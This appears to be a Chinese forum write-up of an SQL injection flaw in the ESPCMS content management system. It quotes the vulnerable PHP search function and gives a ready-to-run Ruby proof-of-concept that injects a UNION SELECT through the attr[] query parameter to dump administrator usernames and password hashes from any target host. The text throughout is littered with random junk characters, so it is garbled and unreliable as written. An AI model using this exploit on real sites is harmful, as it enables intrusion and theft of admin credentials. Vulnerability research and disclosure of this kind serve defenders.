0×0 漏洞概述0×1 漏洞细节
: D2 r, r. D+ X% a% ^/ R+ c0×2 PoC
. t, T1 @6 c0 ]* p3 \) \+ k0 ~* u$ Q& v* \; F& L" O( `
) K$ m4 b2 x+ U/ V, B) `3 \
2 q- L* F6 j, h1 A, G# c( R0×0 漏洞概述3 d# Z9 i3 m5 t* F% Q% _0 M
) z& x0 `% B2 I" V2 G易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。
2 u8 l) h. ^( `2 W1 z其在处理传入的参数时考虑不严谨导致SQL注入发生
) a5 |5 s3 P+ Q: h1 W K0 u+ N! p( a- w+ e' U$ a
$ D8 H% N6 C7 z. p, N% Y* H
0×1 漏洞细节* i3 p' B2 h, T. T, [0 I
: g: s# w& Q: o; k0 y8 m5 y: Q
变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。
/ J9 \: I. Z2 F% ]7 w2 f5 o% K正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。
" v0 e% ^" H+ G3 |而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。
& H: C; T2 X4 G/ U/ a6 V+ U, W3 f) c# a' z; S2 d3 ~3 j
在/interface/3gwap_search.php文件的in_result函数中:
0 b$ m9 X5 v# y
* ^' y+ b7 h% F3 f: h* n
& {7 b& D" M5 H" h) W* d1 _5 W$ @* e- \( F2 m
function in_result() {% w& [2 @7 \) O/ K& z8 @3 v
... ... ... ... ... ... ... ... ...
' Z. g8 M1 K7 x# ] $urlcode = $_SERVER[ 'QUERY_STRING '];
+ w+ U9 d/ f/ K( G7 p1 P+ j9 ~ parse_str(html_entity_decode($urlcode), $output);: o9 ~! @7 W, Z% x' k- i
9 W$ H. j0 D; a/ N+ ?" b ... ... ... ... ... ... ... ... ...$ N8 K5 `- ~$ D2 q/ [. @
if (is_array($output['attr' ]) && count($output['attr']) > 0) {( k7 _" K! s x0 U9 `- k
8 A( L$ s6 W8 z/ r! [+ i; T$ h
$db_table = db_prefix . 'model_att';0 q/ W7 ` O) Z/ w
' O+ z- J& _6 n4 W- J7 m4 ] foreach ($output['attr' ] as $key => $value) {8 }4 N: x$ Z6 m. A; B7 ~
if ($value) {
* {: _. S7 t; M, ~* K- E- O' Z$ m$ t) h- e
$key = addslashes($key);
! o2 n6 l g: X: V $key = $this-> fun->inputcodetrim($key);
& { b6 A1 m& n0 b6 y3 ^ $db_att_where = " WHERE isclass=1 AND attrname='$key'";
" Y) c* l: g3 t8 c$ b $countnum = $this->db_numrows($db_table, $db_att_where);
. P/ q8 Z; f: [. c3 q/ V' K, L% E3 X if ($countnum > 0) {
( j; b; i8 E: T( D $db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;* ]7 U! @4 V) W! z$ l8 P4 J
}
0 {0 B2 [+ M3 H( {5 V( q7 s B1 b3 x }; T- U8 V1 p+ s! S0 P0 }9 S1 m+ [* g
}" V9 g8 \/ B) B* V& D2 |) h
}
2 X" t% I' Z1 ?7 }# S1 B& }/ l if (!empty ($keyword) && empty($keyname)) {
+ @9 r6 _: K' D y $keyname = 'title';) q7 e9 @* M" x- W5 Z& z1 z
$db_where.= " AND a.title like '%$keyword%'" ;
# L. {% n6 o( E; k9 ]3 M } elseif (!empty ($keyword) && !empty($keyname)) {
* b9 h" U* X- w0 E: O" j+ ]( { $db_where.= " AND $keyname like '% $keyword%'";* z/ P% q: H' F* a9 ?' X7 n
}
% @5 |. c4 z8 V- e* U7 d+ K $pagemax = 15;1 \( \) i$ e' u- @& Z
. e- G- B" h" o6 w5 v) t
$pagesylte = 1;
5 s, f0 `: z+ g! W, D% u
! d2 Z" K9 v9 ?, x+ C6 A0 B if ($countnum > 0) {7 U% l2 A ^* z, L3 B- |7 f8 _- u
# }8 m) \, p8 W+ q9 m5 |9 t $numpage = ceil($countnum / $pagemax);
1 N$ D, f0 Z) H) z( v3 k! z } else {
8 j- P# v9 R& k $numpage = 1;( ]# M8 ~, n. F2 A! W, ]' m
}/ l; b2 L# _: Y
$sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;6 m! \1 Y& \0 } y7 \( p
$this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);: n+ [( ~- ?' o- q' v8 |7 S4 t) ~
$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);' C: ? o- _2 {
... ... ... ... ... ... ... ... ...1 P7 p. m# y9 c7 Z/ q
}. `3 f$ B' v+ P, ?
5 q! @2 P/ Z B" X
2 q: \" }. j" q$ i6 o. S0×2 PoC6 ]8 K' z- F/ I7 E( d3 Z
1 P' h6 P# D( S2 @0 J2 Z5 k1 L' h. R! G& m) E! {( { Y+ \ X
% e( e3 X( i: Z; M+ C+ N
require "net/http"" o# L. D" }! ]: T$ \3 b
% q( o& i+ [$ A$ a# J5 c
def request(method, url)2 y* F9 [& a" g. C& U
if method.eql?("get")+ d% G' Y! o' t' }* X
uri = URI.parse(url)* k7 K, a8 O0 y8 l; m' r9 ~
http = Net::HTTP.new(uri.host, uri.port): { l6 e. D0 V b+ ?+ Z& x
response = http.request(Net::HTTP::Get.new(uri.request_uri))
; n! @# `: u& y, f# E+ ?: ?. l return response. e7 v# G7 `# A" d5 S6 h
end; Q! Q, T# ?, Q6 D$ P
end' }/ }$ x$ z- b) N
) @/ B. g" N f9 G7 [
doc =<<HERE x7 J: k" N. m; p! h
-------------------------------------------------------; p8 [& d9 F _1 m$ v( T+ C: }8 z0 z
Espcms Injection Exploit
$ N. m6 h6 a& d: w. y# ^Author:ztz1 ?* l* `9 `) s7 q/ A
Blog:http://ztz.fuzzexp.org/! @; [1 B- e; O) p0 k/ C% F
-------------------------------------------------------
- Q/ J; V# S% q& ^" p: x4 W+ r. c f& |" v
HERE5 _# c( R9 i! D: m8 i" j
( ^# \8 ]' V& D) ]usage =<<HERE
1 V9 o$ x+ h# t5 A. |* z* @+ VUsage: ruby #{$0} host port path
& P. c" ~7 r- f4 |example: ruby #{$0} www.target.com 80 /
. i' Q8 ~; ]% N R( \4 {8 n. V# }HERE" [! d. M) w+ D
! ]4 R8 t' \" ^1 }3 q) _' @puts doc* F; t2 _9 t. H8 Q7 g- ]+ m$ s
if ARGV.length < 3
$ A( P' C: L' G0 F) R puts usage2 a7 D/ K. G7 i# p. n; s
else9 ~! n; U& a5 s+ f# H6 m
$host = ARGV[0]/ |' n7 C2 E0 J4 H0 a x/ \6 ?
$port = ARGV[1]
2 G' h, }, ~+ I0 o$ e $path = ARGV[2]
6 h: Q+ I, b# N8 q7 F7 W1 J) E2 k9 ~
puts "send request..."
6 C8 B. q; n9 `- \* ~0 E5 E url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&. ^ H9 _) Q, {9 D; V% n
attr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,132 e+ G% z1 R7 p) ?* U: b
,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27. E# @( a' v( I. I8 P
,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"' [, r- }! M$ t' r7 [" b& ]# }$ n
response = request("get", url)
( |6 ? k9 j) L( ^ result = response.body.scan(/\w+&\w{32}/)
) \: Z8 [" p2 [: E7 g puts result
; d# Q% ~9 C m6 C/ B! C* cend
0 ~8 i" K4 ]1 {. q+ t T2 S' O" F/ o, Y2 y7 z3 x
|